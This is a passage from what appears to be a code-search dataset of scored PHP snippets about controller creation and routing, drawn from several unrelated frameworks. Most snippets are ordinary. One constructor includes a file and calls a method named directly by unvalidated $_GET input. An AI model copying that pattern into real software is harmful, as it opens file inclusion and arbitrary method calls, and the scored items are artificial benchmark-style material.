$this->checkDsToken();\n\n // Call the worker method\n $results = $this->bulkImportUserData();\n\n if ($results) {\n $this->clientService->showDoneTemplate(\n \"Add users via bulk import\",\n \"Add users via bulk import\",\n \"Results from UserImport:addBulkUserImport method:\",\n json_encode(json_encode($results))\n );\n }\n }", "title": "" }, { "docid": "4aeb0b94f9be731f783ab7bf0b5508c5", "score": "0.61859673", "text": "function createController()\n {\n $minimum_buffer_min = 3;\n if ($this->routerService->ds_token_ok($minimum_buffer_min)) {\n $results = $this->worker($this->args);\n if ($results) {\n $results = json_decode((string)$results, true);\n $this->clientService->showDoneTemplate(\n \"Create a form group\",\n \"Create a form group\",\n \"Results of FormGroups::createFormGroup\",\n json_encode(json_encode($results))\n );\n }\n\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "title": "" }, { "docid": "08bea968232eea8d3853a40ab4236c6d", "score": "0.6182294", "text": "public function __construct(){\n\n $url = $this->getUrlParams();\n \n // Checking for controller\n if(isset($url[0]) && file_exists(APPROOT . \"/controllers/\" . ucfirst($url[0]) . \".php\")){\n $this->controller = ucfirst($url[0]);\n unset($url[0]);\n }else{\n return handleResponse(404,\"Controller not found. It may occurs if you haven't passed the controller or the controller does not exist.\");\n }\n\n // Requring the controller\n require_once APPROOT . \"/controllers/\" . $this->controller . \".php\";\n // Initializing the controller\n $this->controller = new $this->controller();\n\n // Checking for method\n if(isset($url[1]) && method_exists($this->controller, $url[1])){\n // If method is passed and exists\n $this->method = $url[1];\n unset($url[1]);\n } else if(isset($url[1])){\n // If method is passed but doesn't exist\n return handleResponse(404, \"Method $url[1] does not exist.\");\n }\n\n // Checking for parameters\n $this->parameters = $url ? array_values($url) : [];\n\n // Call the method inside the controller with the array of parameters\n call_user_func_array([$this->controller, $this->method], $this->parameters);\n\n }", "title": "" }, { "docid": "25d306fadf279fa880b398b6ca58c7ad", "score": "0.61748606", "text": "public function testCreateTheControllerClass()\n {\n $controller = new HelloWorldController();\n $controller->helloMessage();\n $controller->helloMessageView();\n $controller->hello();\n $controller->helloWithArgument(\"hello\");\n $this->assertInstanceOf(\"\\App\\Controller\\HelloWorldController\", $controller);\n }", "title": "" }, { "docid": "b8cf453cf0b6ad8c82139f43c158518d", "score": "0.61523783", "text": "private function createRCAController(){\r\n\t\t$route = $this->_request->getParam('controller_route');\r\n\t\t$conroller = $this->_request->getParam('controller_controller');\r\n\t\t$action = $this->_request->getParam('controller_action');\r\n\t\t$controller_type = $this->_request->getParam('controller_type');\r\n\r\n\t\t$crr = $this->_request->getParam('controller_route_regex');\r\n\t\t$ccr = $this->_request->getParam('controller_controller_regex');\r\n\t\t$car = $this->_request->getParam('controller_action_regex');\r\n\r\n\t\t$extends = $this->_request->getParam('extend_to_class');\r\n\r\n\t\t$sampleTemplate = 'sample_template.phtml';\r\n\t\t$isAdmin = false;\r\n\r\n\t\tif($controller_type == 'admin'){\r\n\t\t\t$sampleTemplate = 'admin/sample_template.phtml';\r\n\t\t\t$isAdmin = true;\r\n\t\t}\r\n\r\n\t\tif(!strlen($route)){\r\n\t\t\t$route = \"Index\";\r\n\t\t}\r\n\t\tif(!strlen($conroller)){\r\n\t\t\t$conroller = \"Index\";\r\n\t\t}\r\n\t\tif(!strlen($action)){\r\n\t\t\t$action = \"Index\";\r\n\t\t} \r\n\r\n\t\tif($route == 'system' || $route == 'System'){\r\n\t\t\t$this->returnError('400', 'System route is reserved for Opoink\\'s developer panel.');\r\n\t\t} else {\r\n\t\t\t$invalidPatternMsg = 'You will use regex for the {{path}}, but your pattern seems to be invalid. To avoid error please make sure your pattern is valid.';\r\n\t\t\tif($crr === 'yes'){\r\n\t\t\t\tif( preg_match(\"/^\\/.+\\/[a-z]*$/i\", $route)) {\r\n\t\t\t\t\t$route = 'Reg'.sha1($route);\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->returnError('400', str_replace('{{path}}', 'route', $invalidPatternMsg));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif($ccr === 'yes'){;\r\n\t\t\t\tif( preg_match(\"/^\\/.+\\/[a-z]*$/i\", $conroller)) {\r\n\t\t\t\t\t$conroller = 'Reg'.sha1($conroller);\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->returnError('400', str_replace('{{path}}', 'conroller', $invalidPatternMsg));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif($car === 'yes'){\r\n\t\t\t\tif( preg_match(\"/^\\/.+\\/[a-z]*$/i\", $action)) {\r\n\t\t\t\t\t$action = 'Reg'.sha1($action);\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->returnError('400', str_replace('{{path}}', 'action', $invalidPatternMsg));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t$conType = 'public';\r\n\t\t\t$xmlFilename = strtolower($route.'_'.$conroller.'_'.$action);\r\n\t\t\t$controllerClass = \"\\\\\".$this->vendor_name.\"\\\\\".$this->module_name.\"\\\\Controller\\\\\".ucfirst($route).\"\\\\\".ucfirst($conroller).\"\\\\\".ucfirst($action);\r\n\r\n\t\t\tif($controller_type == 'admin'){\r\n\t\t\t\t$conType = 'admin';\r\n\t\t\t\t$xmlFilename = 'admin_'.strtolower($route.'_'.$conroller.'_'.$action);\r\n\t\t\t\t$controllerClass = \"\\\\\".$this->vendor_name.\"\\\\\".$this->module_name.\"\\\\Controller\\\\Admin\\\\\".ucfirst($route).\"\\\\\".ucfirst($conroller).\"\\\\\".ucfirst($action);\r\n\t\t\t}\r\n\r\n\t\t\tif(!empty($extends)){\r\n\t\t\t\ttry {\r\n\t\t\t\t\t/* \r\n\t\t\t\t\t * this is to try if the class to extend exists\r\n\t\t\t\t\t * if it is not injector will raise an error\r\n\t\t\t\t\t */\r\n\t\t\t\t\t$this->_di->make($extends);\r\n\t\t\t\t} catch (\\Exception $e) {\r\n\t\t\t\t\t$this->returnError('400', $e->getMessage());\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$this->_controller->setExtends($extends);\r\n\t\t\t}\r\n\r\n\t\t\t$create = $this->_controller->setVendor($this->vendor_name)\r\n\t\t\t->setModule($this->module_name)\r\n\t\t\t->setRoute($route)\r\n\t\t\t->setController($conroller)\r\n\t\t\t->setAction($action)\r\n\t\t\t->create($conType);\r\n\r\n\t\t\tif($create){\r\n\t\t\t\t/** insert into module config */\r\n\t\t\t\tif($crr === 'yes' || $ccr === 'yes' || $car === 'yes'){\r\n\t\t\t\t\t$regexCount = 0;\r\n\t\t\t\t\twhile (isset($this->config['controllers']['regex_'.$regexCount])) {\r\n\t\t\t\t\t\t$regexCount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$routerName = 'regex_'.$regexCount;\r\n\t\t\t\t\t$routerInfo = [\r\n\t\t\t\t\t\t'route' => $this->routerInfoHelper($crr, 'controller_route'),\r\n\t\t\t\t\t\t'route_regex' => $crr === 'yes' ? true : false,\r\n\t\t\t\t\t\t'controller' => $this->routerInfoHelper($crr, 'controller_controller'),\r\n\t\t\t\t\t\t'controller_regex' => $ccr === 'yes' ? true : false,\r\n\t\t\t\t\t\t'action' => $this->routerInfoHelper($crr, 'controller_action'),\r\n\t\t\t\t\t\t'action_regex' => $car === 'yes' ? true : false,\r\n\t\t\t\t\t\t'class' => $controllerClass\r\n\t\t\t\t\t];\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$routerName = $xmlFilename;\r\n\t\t\t\t\t$routerInfo = $controllerClass;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$this->config['controllers'][$routerName] = $routerInfo;\r\n\r\n\t\t\t\t$this->_configManager->setConfig($this->config)\r\n\t\t\t\t->createConfig();\r\n\t\t\t\t/** end insert into module config */\r\n\r\n\t\t\t\t/** insert into installation config */\r\n\t\t\t\t$_config = ROOT . DS . 'etc' . DS. 'Config.php';\r\n\t\t\t\tif(file_exists($_config)){\r\n\t\t\t\t\t$_config = include($_config);\r\n\r\n\t\t\t\t\t$vm = $this->vendor_name.\"_\".$this->module_name;\r\n\t\t\t\t\tif(isset($_config['controllers'][$vm])){\r\n\t\t\t\t\t\t$_config['controllers'][$vm][$routerName] = $routerInfo;\r\n\r\n\t\t\t\t\t\t$data = '<?php' . PHP_EOL;\r\n\t\t\t\t\t\t$data .= 'return ' . var_export($_config, true) . PHP_EOL;\r\n\t\t\t\t\t\t$data .= '?>';\r\n\r\n\t\t\t\t\t\t$_writer = new \\Of\\File\\Writer();\r\n\t\t\t\t\t\t$_writer->setDirPath(ROOT . DS . 'etc' . DS)\r\n\t\t\t\t\t\t->setData($data)\r\n\t\t\t\t\t\t->setFilename('Config')\r\n\t\t\t\t\t\t->setFileextension('php')\r\n\t\t\t\t\t\t->write();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t/** end insert into installation config */\r\n\r\n\t\t\t\t/** create controller xml layout here */\r\n\r\n\t\t\t\t$body = \"\\t\\t\".'<container xml:id=\"main_container\" htmlId=\"main_container\" htmlClass=\"main_container\" weight=\"1\">' . PHP_EOL;\r\n\t\t\t\t\t$body .= \"\\t\\t\\t\".'<template xml:id=\"sample_template\" vendor=\"'.$this->vendor_name.'\" module=\"'.$this->module_name.'\" template=\"'.$sampleTemplate.'\" cacheable=\"1\" max-age=\"604800\"/>' . PHP_EOL;\r\n\t\t\t\t$body .= \"\\t\\t\".'</container>' . PHP_EOL;\r\n\r\n\t\t\t\t$this->_xml->setVendor($this->vendor_name)\r\n\t\t\t\t->setModule($this->module_name)\r\n\t\t\t\t->setFileName($xmlFilename);\r\n\t\t\t\tif($isAdmin){\r\n\t\t\t\t\t$this->_xml->create(false, $isAdmin, 999, $body);\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->_xml->create(true, $isAdmin, 999, $body);\r\n\t\t\t\t}\r\n\t\t\t\t/** end create controller xml layout here */\r\n\r\n\t\t\t\t/** create the sample template here */\r\n\t\t\t\t$target = ROOT.DS.'App'.DS.'Ext'.DS.$this->vendor_name.DS.$this->module_name.DS.'View'.DS.'Template';\r\n\t\t\t\tif($controller_type == 'admin'){\r\n\t\t\t\t\t$target .= DS.'admin';\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$data = \"<p>\".$route.\" \".$conroller.\" \".$action.\" works</p>\";\r\n\t\t\t\t$_writer = new \\Of\\File\\Writer();\r\n\t\t\t\t$_writer->setDirPath($target)\r\n\t\t\t\t->setData($data)\r\n\t\t\t\t->setFilename('sample_template')\r\n\t\t\t\t->setFileextension('phtml')\r\n\t\t\t\t->write();\r\n\t\t\t\t/** end create the sample template here */\r\n\r\n\t\t\t\t$response = [];\r\n\t\t\t\t$response['error'] = 0;\r\n\t\t\t\t$response['message'] = 'New conroller created.';\r\n\t\t\t\t$this->jsonEncode($response);\r\n\t\t\t} else {\r\n\t\t\t\t$this->returnError('400', 'Cannot create, controller is already existing.');\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "15785cee110b7a5fa7884ea2196c96d8", "score": "0.6138628", "text": "protected function createController($controller) {\n \n // Make sure controller can be found\n if (false === strpos($controller, '::')) {\n throw new \\InvalidArgumentException(sprintf('Unable to find controller \"%s\".', $controller));\n }\n\n list($class, $method) = explode('::', $controller, 2);\n\n // Make sure the controller exists\n if (!class_exists($class)) {\n throw new \\InvalidArgumentException(sprintf('Class \"%s\" does not exist.', $class));\n }\n \n // Create the callable\n return array(new $class($this->request), $method);\n \n }", "title": "" }, { "docid": "ec27e5a6e9ccce083b8c01bff0f3692a", "score": "0.6120848", "text": "public function createController(): void\n {\n $minimum_buffer_min = 3;\n if ($this->routerService->ds_token_ok($minimum_buffer_min)) {\n # 2. Call the worker method\n $results = ListEnvelopesService::worker($this->args, $this->clientService);\n\n if ($results) {\n # results is an object that implements ArrayAccess. Convert to a regular array:\n $results = json_decode((string)$results, true);\n $this->clientService->showDoneTemplate(\n \"Envelope list\",\n \"List envelopes results\",\n \"Results from the Envelopes::listStatusChanges method:\",\n json_encode(json_encode($results))\n );\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "title": "" }, { "docid": "0b34426a487f3d5feb0fe456c48c735b", "score": "0.6088194", "text": "protected function getControllerObject($className)\n {\n if (!class_exists($className)) {\n throw new \\Exception('Controller class \"' . $className . '\" does not exist');\n }\n\n return new $className();\n }", "title": "" }, { "docid": "5289d69f9bdc993d46a5b5a133a834ce", "score": "0.6077799", "text": "public function __construct(){\n \n //Setup sessions\n Session::start();\n \n //Get controller, action & params from user\n $this->splitUrl();\n \n // check for the controller.. Does it exist?\n $controllerFile = './application/controllers/' . (($this->area) ? $this->area . '/' : '') . $this->controller . '.php';\n \n if(file_exists($controllerFile)){\n //if so, load the controller and create a new object\n require($controllerFile);\n $this->controller = new $this->controller();\n \n //Now check for an action\n if(method_exists($this->controller, $this->action)){\n call_user_func_array(array($this->controller, $this->action), $this->params);\n } else {\n //Fallback to the default index action\n //$this->controller->index();\n //die(\"Invalid URL (1)\");\n Redirect::to(404);\n }\n } else {\n //Invalid URL.. Show 404? \n //die(\"Invalid URL (2)\");\n Redirect::to(404);\n }\n \n }", "title": "" }, { "docid": "94b94d25bbe7c313f289e6d26302b5ba", "score": "0.6057803", "text": "public function __construct()\n\t{\n\t\t$router = framewerk_RouterFactory::getRouter();\n\n\t\t// Instantiate the controller\n\t\t$controller_name = $router->getController();\n\t\t$class_name = 'controller_' . $controller_name;\n\n\t\t$controller = new $class_name;\n\n\t\t$action_name = $router->getAction();\n\n\t\t// Else, try and call the action sent in request string. If that does not exist, try and get the controllers default action\n\t\t$action = is_callable(array($controller, $action_name)) ? $action_name : $controller->default_action;\n\t\t\n\t\tif(!$action)\n\t\t{\n\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\texit;\n\t\t}\n\n\t\t// Set some view defaults. Templates are mapped to ControllerName/actionName.tpl.php\n\t\t$controller->view->setController($controller_name);\n\t\t$controller->view->setAction($action);\n\t\t$controller->view->setRequestId($router->getRequestId());\n\n\t\t// Does this action have a definition in the controller?\n\t\t$action_definition_name = $action_name.'_definition';\n\n\t\tif(isset($controller->$action_definition_name))\n\t\t{\n\t\t\t$action_definition = $controller->$action_definition_name;\n\n\t\t\t$request_data = $router->getRequestData($action_definition['data_source']);\n\n\t\t\t// If data_source is empty, do not create the request object\n\t\t\t// This allows actions to actually check whether an action should be performed, or just view.\n\t\t\tif(!empty($request_data)) $controller->request = new framewerk_Request($action_definition, $request_data);\n\t\t}\n\n\t\t// Pass input data back to the view - before action, so action can overwrite if needed\n\t\tif($controller->request && Config::populateViewWithRequestData())\n\t\t{\n\t\t\t$controller->view->setData($controller->request->input_data_objects);\n\t\t}\n\n\n\t\t// Call the action\n\t\t$controller->$action();\n\n\t\t/*\n\t\t// Check for invalid / invalidated data, create notices\n\t\tif($controller->request)\n\t\t{\n\t\t\tif(!$controller->request->isValid())\n\t\t\t{\n\t\t\t\tforeach($controller->request->getInvalidObjects() as $field_name => $input_data_object)\n\t\t\t\t{\n\t\t\t\t\t// If this field has a message\t\t\t\t\t\n\t\t\t\t\tif( ($message = $input_data_object->getError()) ) $controller->view->setNotice($message, framewerk_Notice::TYPE_ERROR, $field_name);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t*/\n\n\t\t// Render the view.\n\t\t$controller->view->render();\n\t}", "title": "" }, { "docid": "7a87ff9b48792e87255828837574a1d9", "score": "0.6057443", "text": "public function getController() {\n self::load('Panda.router.Router');\n $router = new Router;\n $router->loadKnownRoutes($this->name());\n\n //Try to find a matching route\n try {\n $matchedRoute = $router->getRoute(HTTPRequest::requestURI());\n } catch (RuntimeException $error) {\n if ($error->getCode() === Router::NO_ROUTE_FOUND) {\n HTTPResponse::redirect404($this);\n }\n }\n\n $_GET = array_merge($_GET, $matchedRoute->vars());\n $controllerClass = $matchedRoute->module() . 'Controller';\n //and load the matching controller\n self::load('App.' . strtolower($this->name()) . '.module.' . strtolower($matchedRoute->module()) . '.' . $matchedRoute->module() . 'Controller');\n return new $controllerClass($this, $matchedRoute->module(), $matchedRoute->action());\n }", "title": "" }, { "docid": "0f55d264929f691b94f7038e53696e53", "score": "0.6038518", "text": "public function createController(): void\n {\n $minimum_buffer_min = 3;\n $envelope_id = $this->args['envelope_id'];\n $token_ok = $this->routerService->ds_token_ok($minimum_buffer_min);\n if ($token_ok) {\n # 1. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = ApplyBrandToEnvelopeService::worker($this->args, $this::DEMO_DOCS_PATH, $this->clientService);\n\n if ($results) {\n # That need an envelope_id\n $this->clientService->showDoneTemplate(\n \"Brand applying to envelope\",\n \"Brand applying to envelope\",\n \"The brand has been applied to the envelope!<br/> Envelope ID {$results[\"envelope_id\"]}.\"\n );\n }\n } elseif (!$token_ok) {\n $this->clientService->needToReAuth($this->eg);\n } elseif (!$envelope_id) {\n $this->clientService->envelopeNotCreated(\n basename(__FILE__),\n $this->routerService->getTemplate($this->eg),\n $this->routerService->getTitle($this->eg),\n $this->eg,\n ['envelope_ok' => false]\n );\n }\n }", "title": "" }, { "docid": "f56a64bb7cfeb36f9051c562c69f3277", "score": "0.6022596", "text": "protected function callController() {\n\n\t\t\t// Create class name\n\t\t\t$className = self::get(\"applicationNamespace\") . \"\\\\Controllers\\\\\" . $this->_activeRoute->controller;\n\n\t\t\t// Create the controller\n\t\t\t$controllerInstance = new $className($this->_request, $this->_activeRoute, $this->_urlVariables);\n\n\t\t\t// Is it a Controller-derived classed?\n\t\t\tif (!is_subclass_of($controllerInstance, \"ChickenWire\\Core\\Controller\")) {\n\t\t\t\tthrow new \\Exception(get_class($controllerInstance) . \" does not extend ChickenWire\\\\Core\\\\Controller.\", 1);\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t// Call the action!\n\t\t\t$controllerInstance->{$this->_activeRoute->action}();\n\n\n\t\t}", "title": "" }, { "docid": "c6ebab64f6899be399a108fc8801c174", "score": "0.60070246", "text": "private function autoInjectConstructor () {\n\n\t\t$reflectionClass = new \\ReflectionClass($this->controller);\n\t\t$parameters = $reflectionClass->getConstructor()->getParameters();\n\t\t$countParams = $reflectionClass->getConstructor()->getNumberOfParameters();\n\t\t$arguments = $this->getDataArguments('constructor', $parameters, $countParams);\n\n\t\tif ($countParams === 0) {\n\t\t\t$this->controller = new $this->controller;\n\t\t}\n\n\t\tif ($countParams > 0) {\n\t\t\t$class = new \\ReflectionClass($this->controller);\n\t\t\t$this->controller = $class->newInstanceArgs( $arguments);\n\t\t}\n\n\t}", "title": "" }, { "docid": "8feab6599948b1901888f3629d4a6f42", "score": "0.6004968", "text": "public static function getControllerByName($controllerName) {\n $controllerClassName = \"\\\\App\\\\Controller\\\\\" . ucfirst($controllerName);\n $controller = new $controllerClassName();\n\n return $controller;\n }", "title": "" }, { "docid": "44ba2c933da7f98d547b57bcc717630e", "score": "0.6002322", "text": "public function testCreate()\n {\n $http = new MockHttpClient();\n $util = new Util($http);\n $session = new MockSession();\n $http = new MockHttpClient();\n $controller = new YatzyController($util, $session, $http);\n $this->assertInstanceOf(\"\\pereriksson\\Controllers\\YatzyController\", $controller);\n }", "title": "" }, { "docid": "cf16bd487e830ac279e0d83492c9ccc0", "score": "0.5985074", "text": "public function getController();", "title": "" }, { "docid": "b3d0f810431c48da48d574a3342f562d", "score": "0.5951398", "text": "private function run() {\n\n new PublicController();\n }", "title": "" }, { "docid": "b68e4cd0cb46bde7d422a5e20dfe11c2", "score": "0.59435284", "text": "private function createIndexControllerFolderAndFile(): void\n {\n if (!file_exists($this->getModulePath() . '/Controllers')) {\n mkdir($this->getModulePath() . '/Controllers');\n }\n\n if (!file_exists($this->getModulePath() . '/Controllers/IndexController.php')) {\n $moduleController = fopen($this->getModulePath() . '/Controllers/IndexController.php', 'a+');\n $content = require __DIR__ . '/templates/indexController.php';\n $content = str_replace('%MODULE_NAME%', $this->moduleName, $content);\n $content = str_replace('%RENDER_PATH%', lcfirst($this->moduleName), $content);\n fputs($moduleController, $content);\n fclose($moduleController);\n }\n }", "title": "" }, { "docid": "b69e39d0dbba22f31778a3f49782d751", "score": "0.5922964", "text": "public function __construct() {\n if (empty($_GET[\"controller\"])) {\n $_GET[\"controller\"] = \"Index\";\n }\n include_once \"controllers/\". $_GET[\"controller\"] .\".php\";\n $obj = new $_GET[\"controller\"];\n return (empty($_GET[\"method\"]) ? $obj : $obj->$_GET[\"method\"]());\n }", "title": "" }, { "docid": "220aa77fc5d4f6030fca8a7d6c0a452b", "score": "0.59076506", "text": "public static function factory($name, $config) {\n $instance = new AdminController();\n $instance->name = $name;\n $instance->config = new $config($name);\n return $instance;\n }", "title": "" }, { "docid": "357d9524ad24f73d9991299d2869f17f", "score": "0.5899775", "text": "public function __construct() {\n\t\t$this->categoryController = new CategoriaController();\n\t}", "title": "" }, { "docid": "11fc5e77841e71e79ca850a2cdcc4a08", "score": "0.58807135", "text": "public function __construct() {\n $this->Services = new services\\ServicesController();\n }", "title": "" }, { "docid": "ffd63bfff3466f0a879bebc0914e0bc2", "score": "0.5879503", "text": "public function get_controller();", "title": "" }, { "docid": "a35f36e4e684ae02470abde9bfe293c8", "score": "0.5878065", "text": "public function controller($name)\n {\n $fileName = \"{$name}.php\";\n\n if (isset($this->arguments[2])) {\n $actions = explode(',', $this->arguments[2]);\n\n if (count($actions) == 0) {\n $actions = array('index');\n }\n\n } else {\n $actions = array('index');\n }\n\n $file = $this->appPath . \"/Controllers/\" . $fileName;\n $class = $name;\n $date = date(\"n/j/Y\");\n $contents = array('<?php');\n $contents[] = '/*';\n $contents[] = \" * {$name} controller\";\n $contents[] = ' *';\n $contents[] = ' * @author ';\n $contents[] = ' * @version 1.0';\n $contents[] = \" * @date $date\";\n $contents[] = ' */';\n $contents[] = '';\n $contents[] = 'namespace Controllers;';\n $contents[] = 'use \\Core\\Controller;';\n $contents[] = '';\n $contents[] = 'class ' . $class . ' extends Controller';\n $contents[] = '{';\n\n foreach ($actions as $action) {\n $contents[] = \"\";\n $contents[] = \" public function \" . $action . \"Action()\";\n $contents[] = \" {\";\n $contents[] = \" \";\n $contents[] = \" }\";\n $contents[] = \"\";\n }\n\n $contents[] = '}';\n\n if (file_put_contents($file, implode(\"\\n\", $contents))) {\n echo Utils::colorize('Create ' . $file, 'SUCCESS');\n\n return true;\n } else {\n echo Utils::colorize('Can\\'t create ' . $file, 'FAILURE');\n\n return false;\n }\n }", "title": "" }, { "docid": "097cce46fe9f20e63336e1deff4dcb90", "score": "0.58657455", "text": "public function create() { }", "title": "" }, { "docid": "d77b48f20163df66d3b44768c441b457", "score": "0.5864596", "text": "public function runClient()\n {\n new Controller($this->getResourceContainer());\n }", "title": "" }, { "docid": "d82231dcca17151b07356febf43aa474", "score": "0.58513033", "text": "private function createModuleController(): void\n {\n $fileName = $this->moduleName . 'Module.php';\n\n if (!file_exists($this->getModulePath() . '/' . $fileName)) {\n $moduleController = fopen($this->getModulePath() . '/' . $fileName, 'a+');\n $content = require __DIR__ . '/templates/moduleController.php';\n $content = str_replace('%MODULE_NAME%', $this->moduleName, $content);\n $content = str_replace('%RENDER_PATH%', lcfirst($this->moduleName), $content);\n fputs($moduleController, $content);\n fclose($moduleController);\n }\n }", "title": "" }, { "docid": "ecbb99afcad292f7d778c36fffda6276", "score": "0.5847455", "text": "public function create()\n {\n // NON USED SINCE ITS FOR API\n }", "title": "" }, { "docid": "970d803afad2ceb029f0b4ef18238639", "score": "0.5841589", "text": "private function setControllerClass()\n {\n $name = ucwords(strtolower($this->argument('name')));\n\n $modelClass = $this->parseName($name);\n\n $this->repositoryClass = $modelClass . 'Controller';\n\n return $this;\n }", "title": "" }, { "docid": "8aef7aa4e91feb5999be9085ab0e8f94", "score": "0.58400834", "text": "public function setController(Controller $controller);", "title": "" }, { "docid": "d7e27ec5d03e84ea2631159e66ee4e5b", "score": "0.5837599", "text": "public function getController()\n {\n $dom = new DOMDocument;\n $dom->load(dirname(__FILE__).'/../apps/'.$this->app()->name().'/config/routes.xml');\n\n // Search the routes.xml file to find a route matching with the URL\n foreach ($dom->getElementsByTagName('route') as $route)\n {\n if (preg_match('`^'.$route->getAttribute('url').'$`', $this->app()->httpRequest()->requestURI(), $matches)) \n {\n $module = $route->getAttribute('module');\n $action = $route->getAttribute('action');\n \n $classname = ucfirst($module).'Controller';\n $file = dirname(__FILE__).'/../apps/'.$this->app()->name().'/modules/'.$module.'/'.$classname.'.class.php';\n \n if (!file_exists($file))\n throw new RuntimeException('The module used by the route \"' . $route->getAttribute('url') . '\" does not exist');\n \n require $file;\n\n $controller = new $classname($this->app(), $module, $action);\n\n if ($route->hasAttribute('vars'))\n {\n $vars = explode(',', $route->getAttribute('vars'));\n \n foreach ($matches as $key => $match)\n {\n if ($key !== 0)\n $this->app()->httpRequest()->addGetVar($vars[$key - 1], $match);\n }\n }\n \n break;\n }\n }\n if (!isset($controller))\n $this->app()->httpResponse()->redirect404();\n return $controller;\n }", "title": "" }, { "docid": "6466e04207610ca1765905e139c3682d", "score": "0.5837279", "text": "public function getControllerInstance()\n {\n return new BloggersController($this->entityManager, $this->doctrine);\n }", "title": "" }, { "docid": "388654da5e3be7df86b6233839952240", "score": "0.582698", "text": "public function createController(): void\n {\n $minimum_buffer_min = 3;\n if ($this->routerService->ds_token_ok($minimum_buffer_min)) {\n # 1. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = json_decode(PermissionSetUserGroupService::worker($this->args, $this->clientService), true);\n \n if ($results) {\n # That need an envelope_id\n $this->clientService->showDoneTemplate(\n \"Set a permission profile to a group of users\",\n \"Set a permission profile to a group of users\",\n \"The permission profile has been set!<br/>\n Permission profile id: {$results['groups'][0]['permissionProfileId']}<br/>\n Group id: {$results['groups'][0]['groupId']}\"\n );\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "title": "" }, { "docid": "316cc69dd98c7efc2537188ddc7730a6", "score": "0.5824567", "text": "public function testMakeController()\n {\n $code = $this->artisan('lpackager:controller', [\n 'class' => 'GoboController',\n 'package' => 'Tobo',\n 'path' => 'Kernel/Tobo',\n 'namespace' => \"Kernel\\Tobo\",\n ]);\n\n $this->assertEquals(0, $code);\n }", "title": "" }, { "docid": "e51f285a86ddbda521abf8565cb9dfce", "score": "0.582353", "text": "protected function run(){\n $programRoute = $this->findProgramRoute();\n $parts = explode('/', $programRoute);\n $controller = \"controllers\\\\\" . ucfirst(array_shift($parts) . \"Controller\");\n $action = lcfirst(array_shift($parts));\n $params = $parts;\n $this->createController($controller,$action,$params);\n }", "title": "" }, { "docid": "938c043ecf58d3ef78f56c8b729dcb65", "score": "0.58222675", "text": "public function setUp()\n {\n $this->class_object = $this->newController('Website_Controller');\n }", "title": "" }, { "docid": "4be837d7e50c8642a0e2e285d9ea04fe", "score": "0.58186156", "text": "public static function controller($name)\n {\n static::make(\n \"ControllerTemplate\",\n (new Convert($name . \"Controller\"))->toPascal(),\n \"Controllers\",\n [\n \"templateview\" => (new Convert($name))->toKebab(),\n ]\n );\n }", "title": "" }, { "docid": "5f7f79b6433cbf038e2ad7a925580444", "score": "0.5818051", "text": "private function getMockController() {\n \t$controller = $this->generate('Locations');\n \t$controller->constructClasses();\n \t$controller->Components->init($controller);\n \treturn $controller;\n }", "title": "" }, { "docid": "6b88b919f0d1d70ab9e0a1faf806eacc", "score": "0.58156353", "text": "public function getDefaultController()\n\t{\n\t\t$class_name = $this->getDefaultControllerName();\n\t\treturn new $class_name($this->getRequest(), $this->getResponse());\n\t}", "title": "" }, { "docid": "ef09b25682a9f1867aa178915b4fd85f", "score": "0.5811402", "text": "protected function _initController()\n\t{\n\t\t$request = $this->getRequest();\n\t\t$response = $this->getResponse();\n\t\tif(isset($this->modes[$request->getModeName()]) && isset($this->modes[$request->getModeName()]['controller']))\n\t\t{\n\t\t\t$class_name = $this->modes[$request->getModeName()]['controller'];\n\t\t\t$class_path = vartrue($this->modes[$request->getModeName()]['path']);\n\n\t\t\tif($class_path)\n\t\t\t{\n\t\t\t\trequire_once(e107::getParser()->replaceConstants($class_path));\n\t\t\t}\n\t\t\tif($class_name && class_exists($class_name))//NOTE: autoload in the play\n\t\t\t{\n\t\t\t\t$this->_current_controller = new $class_name($request, $response);\n\t\t\t\t//give access to current request object, user defined init\n\t\t\t\t$this->_current_controller->setRequest($this->getRequest())->init();\n\t\t\t}\n\t\t\t// Known controller (found in e_admin_dispatcher::$modes), class not found exception\n\t\t\telse\n\t\t\t{\n\t\t\t\t// TODO - admin log\n\t\t\t\t// get default controller\n\t\t\t\t$this->_current_controller = $this->getDefaultController();\n\t\t\t\t// add messages\n\t\t\t\te107::getMessage()->add('Can\\'t find class <strong>&quot;'.($class_name ? $class_name : 'n/a').'&quot;</strong> for controller <strong>&quot;'.ucfirst($request->getModeName()).'&quot;</strong>', E_MESSAGE_ERROR)\n\t\t\t\t\t->add('Requested: '.e_SELF.'?'.$request->buildQueryString(), E_MESSAGE_DEBUG);\n\t\t\t\t//\n\t\t\t\t$request->setMode($this->getDefaultControllerName())->setAction('e404');\n\t\t\t\t$this->_current_controller->setRequest($request)->init();\n\t\t\t}\n\n\t\t\tif(vartrue($this->modes[$request->getModeName()]['ui']))\n\t\t\t{\n\t\t\t\t$class_name = $this->modes[$request->getModeName()]['ui'];\n\t\t\t\t$class_path = vartrue($this->modes[$request->getModeName()]['uipath']);\n\t\t\t\tif($class_path)\n\t\t\t\t{\n\t\t\t\t\trequire_once(e107::getParser()->replaceConstants($class_path));\n\t\t\t\t}\n\t\t\t\tif(class_exists($class_name))//NOTE: autoload in the play\n\t\t\t\t{\n\t\t\t\t\t$this->_current_controller->setParam('ui', new 